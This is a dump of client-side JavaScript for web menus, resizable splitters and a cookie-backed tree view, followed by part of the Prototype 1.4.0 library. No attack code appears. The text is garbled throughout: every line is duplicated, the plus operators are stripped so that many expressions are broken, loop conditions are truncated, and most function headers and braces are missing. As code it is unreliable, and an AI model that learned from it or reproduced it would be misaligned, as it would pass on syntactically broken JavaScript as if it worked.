var lPoint = getPagePosition(this, lElement.offsetParent);
var lPoint = getPagePosition(this, lElement.offsetParent);
if (this.ParentMenu.MenuOrientation == moHorizontal) {
if (this.ParentMenu.MenuOrientation == moHorizontal) {
lElement.style.left = lPoint.X;
lElement.style.left = lPoint.X;
lElement.style.top = lPoint.Y this.offsetHeight;
lElement.style.top = lPoint.Y this.offsetHeight;
if (this.ParentMenu.MenuOrientation == moVertical) {
if (this.ParentMenu.MenuOrientation == moVertical) {
lElement.style.left = lPoint.X this.offsetWidth;
lElement.style.left = lPoint.X this.offsetWidth;
lElement.style.top = lPoint.Y;
lElement.style.top = lPoint.Y;
LocateElement(menuId).hideAll()
LocateElement(menuId).hideAll()
this.getMainMenu().timerid = setTimeout(delegate(this, hideAll, this.getMainMenu().id), 1500);
this.getMainMenu().timerid = setTimeout(delegate(this, hideAll, this.getMainMenu().id), 1500);
this.ParentMenu.Selected = this;
this.ParentMenu.Selected = this;
this.className = this.ParentMenu.getSelectedItemStyle();
this.className = this.ParentMenu.getSelectedItemStyle();
if (this.ParentMenu == this.getMainMenu()) {
if (this.ParentMenu == this.getMainMenu()) {
this.getMainMenu().submenuvisble = true;
this.getMainMenu().submenuvisble = true;
if (this.MenuItems.length > 0) {
if (this.MenuItems.length > 0) {
var lElement = LocateElement(this.id "_table");
var lElement = LocateElement(this.id "_table");
lElement.style.visibility = "visible";
lElement.style.visibility = "visible";
lElement.style.display = "";
lElement.style.display = "";
var lPoint = getPagePosition(this, lElement.offsetParent);
var lPoint = getPagePosition(this, lElement.offsetParent);
if (this.ParentMenu.MenuOrientation == moHorizontal) {
if (this.ParentMenu.MenuOrientation == moHorizontal) {
lElement.style.left = lPoint.X;
lElement.style.left = lPoint.X;
lElement.style.top = lPoint.Y this.offsetHeight;
lElement.style.top = lPoint.Y this.offsetHeight;
if (this.ParentMenu.MenuOrientation == moVertical) {
if (this.ParentMenu.MenuOrientation == moVertical) {
lElement.style.left = lPoint.X this.offsetWidth;
lElement.style.left = lPoint.X this.offsetWidth;
lElement.style.top = lPoint.Y;
lElement.style.top = lPoint.Y;
if (this.getMainMenu().id.indexOf("_menu") > 0) {
if (this.getMainMenu().id.indexOf("_menu") > 0) {
result = SubmitClickConfirm(this.getMainMenu().id.substring(0, this.getMainMenu().id.indexOf("_menu")), this.id, false, "");
result = SubmitClickConfirm(this.getMainMenu().id.substring(0, this.getMainMenu().id.indexOf("_menu")), this.id, false, "");
result = SubmitNextFile(this.getMainMenu().id.substring(0, this.getMainMenu().id.indexOf("_menu")), this.id, false, "");
result = SubmitNextFile(this.getMainMenu().id.substring(0, this.getMainMenu().id.indexOf("_menu")), this.id, false, "");
result = SubmitClickConfirm(this.getMainMenu().id, this.id, false, "");
result = SubmitClickConfirm(this.getMainMenu().id, this.id, false, "");
result = SubmitNextFile(this.getMainMenu().id, this.id, false, "");
result = SubmitNextFile(this.getMainMenu().id, this.id, false, "");
this.getMainMenu().hideAll();
this.getMainMenu().hideAll();
var litem = this.Selected;
var litem = this.Selected;
litem.ParentMenu.Selected = null;
litem.ParentMenu.Selected = null;
this.Selected.className = this.Selected.getItemStyle();
this.Selected.className = this.Selected.getItemStyle();
this.Selected = null;
this.Selected = null;
ShowComboBoxes(document.body);
ShowComboBoxes(document.body);
this.submenuvisible = false;
this.submenuvisible = false;
var evLength = eventList.length;
var evLength = eventList.length;
var handlersLength = evElement.IEEventHandlers[j].length;
var handlersLength = evElement.IEEventHandlers[j].length;
if (!evElement.eventFunc(event)) { //'event' added
if (!evElement.eventFunc(event)) { //'event' added
if (document.forms[i] != aIgnoreForm) {
if (document.forms[i] != aIgnoreForm) {
var elemLength = document.forms[i].elements.length;
var elemLength = document.forms[i].elements.length;
return document.all[objname];
return document.all[objname];
return document.getElementById("SubmitFrame").contentDocument.forms["SubmitForm"];
return document.getElementById("SubmitFrame").contentDocument.forms["SubmitForm"];
/*alert("Size: (" lWidth ", " lHeight "); Scroll size: (" lScroll.Width ", " lScroll.Height ");");*/
/*alert("Size: (" lWidth ", " lHeight "); Scroll size: (" lScroll.Width ", " lScroll.Height ");");*/
for (var i = 0; i
for (var i = 0; i
if (ASelect.options[i].selected) {
if (ASelect.options[i].selected) {
s = s "*" ASelect.options[i].value ";"
s = s "*" ASelect.options[i].value ";"
s = s ASelect.options[i].value ";"
s = s ASelect.options[i].value ";"
AHidden.value = s;
AHidden.value = s;
if (AElement) {AElement.disabled = obj.selectedIndex >= obj.options.length - 1};
if (AElement) {AElement.disabled = obj.selectedIndex >= obj.options.length - 1};
if (AElement) {AElement.disabled = obj.selectedIndex == 0};
if (AElement) {AElement.disabled = obj.selectedIndex == 0};
for (var i= (direction > 0 ? 0 : obj.options.length - 1); i != (direction > 0 ? obj.options.length : -1); i = i direction)
for (var i= (direction > 0 ? 0 : obj.options.length - 1); i != (direction > 0 ? obj.options.length : -1); i = i direction)
AFirstOption = obj.options[i];
AFirstOption = obj.options[i];
if (AFirstOption.selected)
if (AFirstOption.selected)
if ((i - direction >= 0) & (i - direction
if ((i - direction >= 0) & (i - direction
ASecondOption = obj.options[i - direction];
ASecondOption = obj.options[i - direction];
if (!ASecondOption.selected)
if (!ASecondOption.selected)
AElement.disabled = !CanMove(obj, -1);
AElement.disabled = !CanMove(obj, -1);
AElement.disabled = !CanMove(obj, 1);
AElement.disabled = !CanMove(obj, 1);
for (var i= (direction > 0 ? 0 : ASelect.options.length - 1); i != (direction > 0 ? ASelect.options.length : -1); i = i direction)
for (var i= (direction > 0 ? 0 : ASelect.options.length - 1); i != (direction > 0 ? ASelect.options.length : -1); i = i direction)
AFirstOption = ASelect.options[i];
AFirstOption = ASelect.options[i];
if (AFirstOption.selected)
if (AFirstOption.selected)
if ((i - direction >= 0) & (i - direction
if ((i - direction >= 0) & (i - direction
ASecondOption = ASelect.options[i - direction];
ASecondOption = ASelect.options[i - direction];
if (!ASecondOption.selected)
if (!ASecondOption.selected)
AFirstText = AFirstOption.text;
AFirstText = AFirstOption.text;
AFirstValue = AFirstOption.value;
AFirstValue = AFirstOption.value;
ASecondText = ASecondOption.text;
ASecondText = ASecondOption.text;
ASecondValue = ASecondOption.value;
ASecondValue = ASecondOption.value;
ASelect.options[i - direction] = AFirstOption;
ASelect.options[i - direction] = AFirstOption;
ASelect.options[i] = ASecondOption;
ASelect.options[i] = ASecondOption;
AFirstOption.selected = true;
AFirstOption.selected = true;
var e=IWTop().LocateElement(AHTMLName);
var e=IWTop().LocateElement(AHTMLName);
e.id=AHTMLName "_INVALID";
e.id=AHTMLName "_INVALID";
e = IWTop().LocateElement(AHTMLName "_UPDATE");
e = IWTop().LocateElement(AHTMLName "_UPDATE");
e.innerHTML=ANewHTML;
e.innerHTML=ANewHTML;
"IWTop().SetVisibility(window.parent." varName "," (AVisible ? "true" : "false") "); \n"
"IWTop().SetVisibility(window.parent." varName "," (AVisible ? "true" : "false") "); \n"
"IWTop()." varName ".OriginalRect = new parent.Rect(" left "," top "," width "," height "); \n"
"IWTop()." varName ".OriginalRect = new parent.Rect(" left "," top "," width "," height "); \n"
if (document.getElementById)
if (document.getElementById)
document.getElementById('locker').style.visibility = 'hidden';
document.getElementById('locker').style.visibility = 'hidden';
if (document.layers)
if (document.layers)
document.locker.visibility = 'hidden';
document.locker.visibility = 'hidden';
document.all.locker.style.visibility = 'hidden';
document.all.locker.style.visibility = 'hidden';
IWTop().getElementById('locker').style.visibility = 'hidden';
IWTop().getElementById('locker').style.visibility = 'hidden';
IWTop().locker.visibility = 'hidden';
IWTop().locker.visibility = 'hidden';
IWTop().all.locker.style.visibility = 'hidden';
IWTop().all.locker.style.visibility = 'hidden';
LLocker = document.getElementById('locker');
LLocker = document.getElementById('locker');
LLocker.style.visibility = '';
LLocker.style.visibility = '';
if (document.locker) {
if (document.locker) {
document.locker.visibility = '';
document.locker.visibility = '';
if (document.all.locker) {
if (document.all.locker) {
document.all.locker.style.visibility = '';
document.all.locker.style.visibility = '';
return event.target;
return event.target;
return event.srcElement;
return event.srcElement;
return element.ownerDocument;
return element.ownerDocument;
return element.document;
return element.document;
var x = event.clientX doc.body.scrollLeft;
var x = event.clientX doc.body.scrollLeft;
var y = event.clientY doc.body.scrollTop;
var y = event.clientY doc.body.scrollTop;
var top = elem.offsetTop;
var top = elem.offsetTop;
var p = elem.offsetParent;
var p = elem.offsetParent;
var cs = doc.defaultView.getComputedStyle(p,'');
var cs = doc.defaultView.getComputedStyle(p,'');
if( cs.overflow != "visible" ) {
if( cs.overflow != "visible" ) {
var left = elem.offsetLeft;
var left = elem.offsetLeft;
left = borderLeftPixels;
left = borderLeftPixels;
if( cs.overflow == "visible" ) {
if( cs.overflow == "visible" ) {
left = p.offsetLeft borderLeftPixels;
left = p.offsetLeft borderLeftPixels;
top = p.offsetTop borderTopPixels;
top = p.offsetTop borderTopPixels;
left = p.offsetLeft (2 * borderLeftPixels);
left = p.offsetLeft (2 * borderLeftPixels);
top = p.offsetTop (2 * borderTopPixels);
top = p.offsetTop (2 * borderTopPixels);
left = p.offsetLeft p.clientLeft;
left = p.offsetLeft p.clientLeft;
top = p.offsetTop p.clientTop;
top = p.offsetTop p.clientTop;
p = p.offsetParent;
p = p.offsetParent;
elem.style.overflow = "auto";
elem.style.overflow = "auto";
this.divElement = getEventSource(event).parentNode;
this.divElement = getEventSource(event).parentNode;
this.gripType = gripType;
this.gripType = gripType;
this.initialMouseAbsX = event.clientX window.document.body.scrollLeft;
this.initialMouseAbsX = event.clientX window.document.body.scrollLeft;
this.initialMouseAbsY = event.clientY window.document.body.scrollTop;
this.initialMouseAbsY = event.clientY window.document.body.scrollTop;
this.initialHeight = this.divElement.clientHeight
this.initialHeight = this.divElement.clientHeight
this.initialWidth = this.divElement.clientWidth;
this.initialWidth = this.divElement.clientWidth;
this.initialLeft = getElementOffsetLeft(this.divElement);
this.initialLeft = getElementOffsetLeft(this.divElement);
this.initialTop = getElementOffsetTop(this.divElement);
this.initialTop = getElementOffsetTop(this.divElement);
var doc = getOwnerDocument(this.divElement);
var doc = getOwnerDocument(this.divElement);
var cs = doc.defaultView.getComputedStyle(this.divElement,'');
var cs = doc.defaultView.getComputedStyle(this.divElement,'');
this.initialOverflow = cs.overflow;
this.initialOverflow = cs.overflow;
this.initialHeight = this.divElement.offsetHeight;
this.initialHeight = this.divElement.offsetHeight;
this.initialWidth = this.divElement.offsetWidth;
this.initialWidth = this.divElement.offsetWidth;
this.initialLeft = this.divElement.offsetLeft;
this.initialLeft = this.divElement.offsetLeft;
this.initialTop = this.divElement.offsetTop;
this.initialTop = this.divElement.offsetTop;
if( opera_browser ) {
if( opera_browser ) {
this.initialOverflowX = this.divElement.style.overflowX;
this.initialOverflowX = this.divElement.style.overflowX;
this.initialOverflowY = this.divElement.style.overflowY;
this.initialOverflowY = this.divElement.style.overflowY;
this.initialOverflowX = this.divElement.currentStyle.overflowX;
this.initialOverflowX = this.divElement.currentStyle.overflowX;
this.initialOverflowY = this.divElement.currentStyle.overflowY;
this.initialOverflowY = this.divElement.currentStyle.overflowY;
document.addEventListener("mousemove", DocumentMouseMove, true);
document.addEventListener("mousemove", DocumentMouseMove, true);
document.addEventListener("mouseup", DocumentMouseUp, true);
document.addEventListener("mouseup", DocumentMouseUp, true);
window.document.attachEvent( "onmousemove", DocumentMouseMove );
window.document.attachEvent( "onmousemove", DocumentMouseMove );
window.document.attachEvent( "onmouseup", DocumentMouseUp );
window.document.attachEvent( "onmouseup", DocumentMouseUp );
this.divElement.style.overflow = "hidden";
this.divElement.style.overflow = "hidden";
this.divElement.style.overflowX = "hidden";
this.divElement.style.overflowX = "hidden";
this.divElement.style.overflowY = "hidden";
this.divElement.style.overflowY = "hidden";
SplitterInfo.prototype.doMouseMove = function (event) {
SplitterInfo.prototype.doMouseMove = function (event) {
var mouseDevX = mouseAbsLocation.x - this.initialMouseAbsX;
var mouseDevX = mouseAbsLocation.x - this.initialMouseAbsX;
var mouseDevY = mouseAbsLocation.y - this.initialMouseAbsY;
var mouseDevY = mouseAbsLocation.y - this.initialMouseAbsY;
switch( this.gripType ) {
switch( this.gripType ) {
var newWidth = this.initialWidth - mouseDevX;
var newWidth = this.initialWidth - mouseDevX;
if( newWidth > this.divElement.offsetParent.scrollWidth )
if( newWidth > this.divElement.offsetParent.scrollWidth )
this.divElement.style.left = this.initialLeft mouseDevX;
this.divElement.style.left = this.initialLeft mouseDevX;
this.divElement.style.width = newWidth;
this.divElement.style.width = newWidth;
var widthDev = this.divElement.offsetWidth - this.initialWidth;
var widthDev = this.divElement.offsetWidth - this.initialWidth;
var newLeft = this.initialLeft - widthDev;
var newLeft = this.initialLeft - widthDev;
this.divElement.style.left = newLeft;
this.divElement.style.left = newLeft;
changeData = this.divElement.offsetLeft "," this.divElement.offsetWidth;
changeData = this.divElement.offsetLeft "," this.divElement.offsetWidth;
var newHeight = this.initialHeight - mouseDevY;
var newHeight = this.initialHeight - mouseDevY;
if( newHeight > this.divElement.offsetParent.scrollHeight )
if( newHeight > this.divElement.offsetParent.scrollHeight )
this.divElement.style.top = this.initialTop mouseDevY;
this.divElement.style.top = this.initialTop mouseDevY;
this.divElement.style.height = newHeight;
this.divElement.style.height = newHeight;
var heightDev = this.divElement.offsetHeight - this.initialHeight;
var heightDev = this.divElement.offsetHeight - this.initialHeight;
var newTop = this.initialTop - heightDev;
var newTop = this.initialTop - heightDev;
this.divElement.style.top = newTop;
this.divElement.style.top = newTop;
changeData = this.divElement.offsetTop "," this.divElement.offsetHeight;
changeData = this.divElement.offsetTop "," this.divElement.offsetHeight;
var newHeight = this.initialHeight mouseDevY;
var newHeight = this.initialHeight mouseDevY;
var newWidth = this.initialWidth mouseDevX;
var newWidth = this.initialWidth mouseDevX;
removeNS6Scrollbars(this.divElement);
removeNS6Scrollbars(this.divElement);
removeNS6Scrollbars(this.divElement.offsetParent);
removeNS6Scrollbars(this.divElement.offsetParent);
var newRect = new Rect(this.divElement.offsetLeft, this.divElement.offsetTop,this.divElement.offsetWidth, this.divElement.offsetHeight);
var newRect = new Rect(this.divElement.offsetLeft, this.divElement.offsetTop,this.divElement.offsetWidth, this.divElement.offsetHeight);
this.divElement.SetRect(newRect);
this.divElement.SetRect(newRect);
this.divElement.UpdateRects(newRect);
this.divElement.UpdateRects(newRect);
var owner = this.divElement.Owner;
var owner = this.divElement.Owner;
owner.UpdateRects(owner.Rect);
owner.UpdateRects(owner.Rect);
var hiddenInput = IWTop().FindElem( this.divElement.id '_data' );
var hiddenInput = IWTop().FindElem( this.divElement.id '_data' );
hiddenInput.value = "";
hiddenInput.value = "";
hiddenInput.value = changeData;
hiddenInput.value = changeData;
SplitterInfo.prototype.doMouseUp = function (event) {
SplitterInfo.prototype.doMouseUp = function (event) {
this.divElement.style.overflow = this.initialOverflow;
this.divElement.style.overflow = this.initialOverflow;
this.divElement.style.overflowX = this.initialOverflowX;
this.divElement.style.overflowX = this.initialOverflowX;
this.divElement.style.overflowY = this.initialOverflowY;
this.divElement.style.overflowY = this.initialOverflowY;
document.removeEventListener("mousemove", DocumentMouseMove, true);
document.removeEventListener("mousemove", DocumentMouseMove, true);
document.removeEventListener("mouseup", DocumentMouseUp, true);
document.removeEventListener("mouseup", DocumentMouseUp, true);
window.document.detachEvent( "onmousemove", DocumentMouseMove );
window.document.detachEvent( "onmousemove", DocumentMouseMove );
window.document.detachEvent( "onmouseup", DocumentMouseUp );
window.document.detachEvent( "onmouseup", DocumentMouseUp );
var gripAbsTop = divAbsLocation.y divElem.offsetHeight - gripSize;
var gripAbsTop = divAbsLocation.y divElem.offsetHeight - gripSize;
var gripAbsLeft = divAbsLocation.x divElem.offsetWidth - gripSize;
var gripAbsLeft = divAbsLocation.x divElem.offsetWidth - gripSize;
divElem.style.cursor = "n-resize";
divElem.style.cursor = "n-resize";
divElem.style.cursor = "w-resize";
divElem.style.cursor = "w-resize";
divElem.style.cursor = "auto";
divElem.style.cursor = "auto";
GSplitterInfo.doMouseMove(event);
GSplitterInfo.doMouseMove(event);
GSplitterInfo.doMouseUp(event);
GSplitterInfo.doMouseUp(event);
// TreeView Support
// TreeView Support
inputelement.value = escape(value);
inputelement.value = escape(value);
if (inputelement.value != null) {
if (inputelement.value != null) {
return unescape(inputelement.value);
return unescape(inputelement.value);
if (AParent.Childs) {
if (AParent.Childs) {
ScanTree(AParent.Childs);
ScanTree(AParent.Childs);
AParent.Childs = null;
AParent.Childs = null;
AParent.State = null;
AParent.State = null;
AParent.Name = null;
AParent.Name = null;
AParent.element = null;
AParent.element = null;
AParent.TreeView = null;
AParent.TreeView = null;
AParent = AParent.Next;
AParent = AParent.Next;
lp.Next = null;
lp.Next = null;
this.Container = null;
this.Container = null;
this.OpenTreeItem = OpenTreeItem;
this.OpenTreeItem = OpenTreeItem;
this.CloseTreeItem = CloseTreeItem;
this.CloseTreeItem = CloseTreeItem;
this.CloseAll = CloseAll;
this.CloseAll = CloseAll;
this.ExpandAll = ExpandAll;
this.ExpandAll = ExpandAll;
FreeTree(this.Items);
FreeTree(this.Items);
if (this.OldRelease != null) {
if (this.OldRelease != null) {
this.OldRelease();
this.OldRelease();
ATreeView.OpenTreeItem = OpenTreeItem;
ATreeView.OpenTreeItem = OpenTreeItem;
ATreeView.CloseTreeItem = CloseTreeItem;
ATreeView.CloseTreeItem = CloseTreeItem;
ATreeView.CloseAll = CloseAll;
ATreeView.CloseAll = CloseAll;
ATreeView.ExpandAll = ExpandAll;
ATreeView.ExpandAll = ExpandAll;
ATreeView.Container = LocateElement(AContainerName);
ATreeView.Container = LocateElement(AContainerName);
ATreeView.OldRelease = ATreeView.IWRelease;
ATreeView.OldRelease = ATreeView.IWRelease;
ATreeView.IWRelease = IWTree_Release;
ATreeView.IWRelease = IWTree_Release;
ScanTree(ATreeView.Items, false);
ScanTree(ATreeView.Items, false);
if (ATreeView.Container != null) {
if (ATreeView.Container != null) {
ATreeView.Container.style.width = 4096;
ATreeView.Container.style.width = 4096;
ATreeView.Container.style.height = 4096;
ATreeView.Container.style.height = 4096;
var LItem = ATreeView.Items;
var LItem = ATreeView.Items;
if (LMax
if (LMax
LMax = LItem.element.offsetWidth;
LMax = LItem.element.offsetWidth;
LHeight = LHeight LItem.element.offsetHeight;
LHeight = LHeight LItem.element.offsetHeight;
LItem = LItem.Next;
LItem = LItem.Next;
ATreeView.Container.style.width = LMax;
ATreeView.Container.style.width = LMax;
ATreeView.Container.style.height = LHeight;
ATreeView.Container.style.height = LHeight;
ATreeView.OriginalRect = CreateRect(ATreeView);
ATreeView.OriginalRect = CreateRect(ATreeView);
ATreeView.Rect = CreateRect(ATreeView);
ATreeView.Rect = CreateRect(ATreeView);
var status = getCookie(ATreeView.id);
var status = getCookie(ATreeView.id);
lItemID = status.substring(0, status.indexOf(",") 1);
lItemID = status.substring(0, status.indexOf(",") 1);
status = status.substring(lItemID.length);
status = status.substring(lItemID.length);
lItemID = lItemID.substring(0, lItemID.indexOf(","));
lItemID = lItemID.substring(0, lItemID.indexOf(","));
var Item = FindItem(ATreeView.Items, lItemID);
var Item = FindItem(ATreeView.Items, lItemID);
Item.State = true;
Item.State = true;
this.State = false;
this.State = false;
this.Next = ANext;
this.Next = ANext;
this.Childs = AChild;
this.Childs = AChild;
this.Name = AName;
this.Name = AName;
this.element = LocateElement(AName);
this.element = LocateElement(AName);
this.TreeView = ATreeView;
this.TreeView = ATreeView;
// this.className = null;
// this.className = null;
if (LItem.Name == AItemName) break;
if (LItem.Name == AItemName) break;
if (LItem.Childs) {
if (LItem.Childs) {
LL = FindItem(LItem.Childs, AItemName);
LL = FindItem(LItem.Childs, AItemName);
LItem = LItem.Next;
LItem = LItem.Next;
var element = LocateElement(LItem.Name);
var element = LocateElement(LItem.Name);
element.style.visibility = "visible";
element.style.visibility = "visible";
element.style.display = "";
element.style.display = "";
if (LItem.Childs != null && LItem.State) {
if (LItem.Childs != null && LItem.State) {
ShowItemChilds(LItem.Childs);
ShowItemChilds(LItem.Childs);
var LItem = this.Items;
var LItem = this.Items;
LItem.State = true;
LItem.State = true;
var statecookie = getCookie(LItem.TreeView.id) "," LItem.Name ",";
var statecookie = getCookie(LItem.TreeView.id) "," LItem.Name ",";
setCookie(LItem.TreeView.id, statecookie);
setCookie(LItem.TreeView.id, statecookie);
var element = LocateElement("plusImg_" LItem.Name);
var element = LocateElement("plusImg_" LItem.Name);
element.style.visibility = "hidden";
element.style.visibility = "hidden";
element.style.display = "none";
element.style.display = "none";
element = LocateElement("minusImg_" LItem.Name);
element = LocateElement("minusImg_" LItem.Name);
element.style.visibility = "visible";
element.style.visibility = "visible";
element.style.display = "";
element.style.display = "";
ShowItemChilds(LItem.Childs);
ShowItemChilds(LItem.Childs);
this.Container.style.width = 4096;
this.Container.style.width = 4096;
this.Container.style.height = 4096;
this.Container.style.height = 4096;
LItem = this.Items;
LItem = this.Items;
this.Container.style.width = LMax;
this.Container.style.width = LMax;
this.Container.style.height = LHeight;
this.Container.style.height = LHeight;
element.style.visibility = "hidden";
element.style.visibility = "hidden";
element.style.display = "none";
element.style.display = "none";
HideItemChilds(LItem.Childs);
HideItemChilds(LItem.Childs);
LItem.State = false;
LItem.State = false;
var statecookie = getCookie(LItem.TreeView.id);
var statecookie = getCookie(LItem.TreeView.id);
var search = "," LItem.Name ",";
var search = "," LItem.Name ",";
var offset = statecookie.indexOf(search);
var offset = statecookie.indexOf(search);
var oldstate = statecookie.substring(0, offset);
var oldstate = statecookie.substring(0, offset);
var statecookie = oldstate statecookie.substring(offset search.length, statecookie.length);
var statecookie = oldstate statecookie.substring(offset search.length, statecookie.length);
setCookie(LItem.TreeView.id, statecookie);
setCookie(LItem.TreeView.id, statecookie);
HideItemChilds(LItem.Childs);
HideItemChilds(LItem.Childs);
LMax = LItem.element.offsetWidth;
LMax = LItem.element.offsetWidth;
LHeight = LItem.element.offsetHeight;
LHeight = LItem.element.offsetHeight;
// this.showTreeView();
// this.showTreeView();
LItem.State = value;
LItem.State = value;
ScanTree(LItem.Childs, value);
ScanTree(LItem.Childs, value);
ScanTree(this.Items, true);
ScanTree(this.Items, true);
ScanTree(this.Items, false);
ScanTree(this.Items, false);
/* Prototype JavaScript framework, version 1.4.0
/* Prototype JavaScript framework, version 1.4.0
* (c) 2005 Sam Stephenson
* (c) 2005 Sam Stephenson
* For details, see the Prototype web site: hXXp://prototype.conio.net/
* For details, see the Prototype web site: hXXp://prototype.conio.net/
Version: '1.4.0',
Version: '1.4.0',
this.initialize.apply(this, arguments);
this.initialize.apply(this, arguments);
Object.extend = function(destination, source) {
Object.extend = function(destination, source) {
Object.inspect = function(object) {
Object.inspect = function(object) {
return object.inspect ? object.inspect() : object.toString();
return object.inspect ? object.inspect() : object.toString();
Function.prototype.bind = function() {
Function.prototype.bind = function() {
var __method = this, args = $A(arguments), object = args.shift();
var __method = this, args = $A(arguments), object = args.shift();
return __method.apply(object, args.concat($A(arguments)));
return __method.apply(object, args.concat($A(arguments)));
Function.prototype.bindAsEventListener = function(object) {
Function.prototype.bindAsEventListener = function(object) {
return __method.call(object, event || window.event);
return __method.call(object, event || window.event);
Object.extend(Number.prototype, {
Object.extend(Number.prototype, {
var digits = this.toString(16);
var digits = this.toString(16);
$R(0, this, true).each(iterator);
$R(0, this, true).each(iterator);
for (var i = 0; i
for (var i = 0; i
var PeriodicalExecuter = Class.create();
var PeriodicalExecuter = Class.create();
PeriodicalExecuter.prototype = {
PeriodicalExecuter.prototype = {
this.callback = callback;
this.callback = callback;
this.frequency = frequency;
this.frequency = frequency;
this.currentlyExecuting = false;
this.currentlyExecuting = false;
this.registerCallback();
this.registerCallback();
setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
if (!this.currentlyExecuting) {
if (!this.currentlyExecuting) {
this.currentlyExecuting = true;
this.currentlyExecuting = true;
this.callback();
this.callback();
this.currentlyExecuting = false;
this.currentlyExecuting = false;
for (var i = 0; i
for (var i = 0; i
element = document.getElementById(element);
element = document.getElementById(element);
if (arguments.length == 1)
if (arguments.length == 1)
elements.push(element);
elements.push(element);
Object.extend(String.prototype, {
Object.extend(String.prototype, {
return this.replace(/] >/gi, '');
return this.replace(/] >/gi, '');
return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
var matchAll = new RegExp(Prototype.ScriptFragment, 'img');
var matchAll = new RegExp(Prototype.ScriptFragment, 'img');
var matchOne = new RegExp(Prototype.ScriptFragment, 'im');
var matchOne = new RegExp(Prototype.ScriptFragment, 'im');
return (this.match(matchAll) || []).map(function(scriptTag) {
return (this.match(matchAll) || []).map(function(scriptTag) {
return (scriptTag.match(matchOne) || ['', ''])[1];
return (scriptTag.match(matchOne) || ['', ''])[1];
return this.extractScripts().map(eval);
return this.extractScripts().map(eval);
var div = document.createElement('div');
var div = document.createElement('div');
var text = document.createTextNode(this);
var text = document.createTextNode(this);
div.appendChild(text);
div.appendChild(text);
return div.innerHTML;
return div.innerHTML;
div.innerHTML = this.stripTags();
div.innerHTML = this.stripTags();
return div.childNodes[0] ? div.childNodes[0].nodeValue : '';
return div.childNodes[0] ? div.childNodes[0].nodeValue : '';
var pairs = this.match(/^\??(.*)$/)[1].split('&');
var pairs = this.match(/^\??(.*)$/)[1].split('&');
return pairs.inject({}, function(params, pairString) {
return pairs.inject({}, function(params, pairString) {
var pair = pairString.split('=');
var pair = pairString.split('=');
return this.split('');
return this.split('');
var oStringList = this.split('-');
var oStringList = this.split('-');
if (oStringList.length == 1) return oStringList[0];
if (oStringList.length == 1) return oStringList[0];
var camelizedString = this.indexOf('-') == 0
var camelizedString = this.indexOf('-') == 0
? oStringList[0].charAt(0).toUpperCase() oStringList[0].substring(1)
? oStringList[0].charAt(0).toUpperCase() oStringList[0].substring(1)
for (var i = 1, len = oStringList.length; i
for (var i = 1, len = oStringList.length; i
camelizedString = s.charAt(0).toUpperCase() s.substring(1);
camelizedString = s.charAt(0).toUpperCase() s.substring(1);
return "'" this.replace('\\', '\\\\').replace("'", '\\\'') "'";
return "'" this.replace('\\', '\\\\').replace("'", '\\\'') "'";
String.prototype.parseQuery = String.prototype.toQueryParams;
String.prototype.parseQuery = String.prototype.toQueryParams;
this.each(function(value, index) {
this.each(function(value, index) {
results.push(iterator(value, index));
results.push(iterator(value, index));
results.push(value);
results.push(value);
var stringValue = value.toString();
var stringValue = value.toString();
if (stringValue.match(pattern))
if (stringValue.match(pattern))
results.push((iterator || Prototype.K)(value, index));
results.push((iterator || Prototype.K)(value, index));
this.each(function(value) {
this.each(function(value) {
var args = $A(arguments).slice(1);
var args = $A(arguments).slice(1);
return this.collect(function(value) {
return this.collect(function(value) {
return value[method].apply(value, args);
return value[method].apply(value, args);
trues : falses).push(value);
trues : falses).push(value);
results.push(value[property]);
results.push(value[property]);
return this.collect(function(value, index) {
return this.collect(function(value, index) {
}).sort(function(left, right) {
}).sort(function(left, right) {
var a = left.criteria, b = right.criteria;
var a = left.criteria, b = right.criteria;
}).pluck('value');
}).pluck('value');
return this.collect(Prototype.K);
return this.collect(Prototype.K);
if (typeof args.last() == 'function')
if (typeof args.last() == 'function')
iterator = args.pop();
iterator = args.pop();
var collections = [this].concat(args).map($A);
var collections = [this].concat(args).map($A);
return this.map(function(value, index) {
return this.map(function(value, index) {
iterator(value = collections.pluck(index));
iterator(value = collections.pluck(index));
return '#';
return '#';
Object.extend(Enumerable, {
Object.extend(Enumerable, {
map: Enumerable.collect,
map: Enumerable.collect,
find: Enumerable.detect,
find: Enumerable.detect,
select: Enumerable.findAll,
select: Enumerable.findAll,
member: Enumerable.include,
member: Enumerable.include,
entries: Enumerable.toArray
entries: Enumerable.toArray
var $A = Array.from = function(iterable) {
var $A = Array.from = function(iterable) {
if (iterable.toArray) {
if (iterable.toArray) {
return iterable.toArray();
return iterable.toArray();
for (var i = 0; i
for (var i = 0; i
results.push(iterable[i]);
results.push(iterable[i]);
Object.extend(Array.prototype, Enumerable);
Object.extend(Array.prototype, Enumerable);
Array.prototype._reverse = Array.prototype.reverse;
Array.prototype._reverse = Array.prototype.reverse;
Object.extend(Array.prototype, {
Object.extend(Array.prototype, {
for (var i = 0; i
for (var i = 0; i
this.length = 0;
this.length = 0;
return this[this.length - 1];
return this[this.length - 1];
return this.select(function(value) {
return this.select(function(value) {
return this.inject([], function(array, value) {
return this.inject([], function(array, value) {
return array.concat(value.constructor == Array ?
return array.concat(value.constructor == Array ?
value.flatten() : [value]);
value.flatten() : [value]);
return !values.include(value);
return !values.include(value);
return (inline !== false ? this : this.toArray())._reverse();
return (inline !== false ? this : this.toArray())._reverse();
for (var i = 0; i
for (var i = 0; i
this.length--;
this.length--;
return '[' this.map(Object.inspect).join(', ') ']';
return '[' this.map(Object.inspect).join(', ') ']';
for (key in this) {
for (key in this) {
var value = this[key];
var value = this[key];
var pair = [key, value];
var pair = [key, value];
pair.key = key;
pair.key = key;
pair.value = value;
pair.value = value;
keys: function() {
keys: function() {
return this.pluck('key');
return this.pluck('key');
return this.pluck('value');
return this.pluck('value');
return $H(hash).inject($H(this), function(mergedHash, pair) {
return $H(hash).inject($H(this), function(mergedHash, pair) {
mergedHash[pair.key] = pair.value;
mergedHash[pair.key] = pair.value;
return this.map(function(pair) {
return this.map(function(pair) {
return pair.map(encodeURIComponent).join('=');
return pair.map(encodeURIComponent).join('=');
}).join('&');
}).join('&');
return '#
return '#
return pair.map(Object.inspect).join(': ');
return pair.map(Object.inspect).join(': ');
}).join(', ') '}>';
}).join(', ') '}>';
var hash = Object.extend({}, object || {});
var hash = Object.extend({}, object || {});
Object.extend(hash, Enumerable);
Object.extend(hash, Enumerable);
Object.extend(hash, Hash);
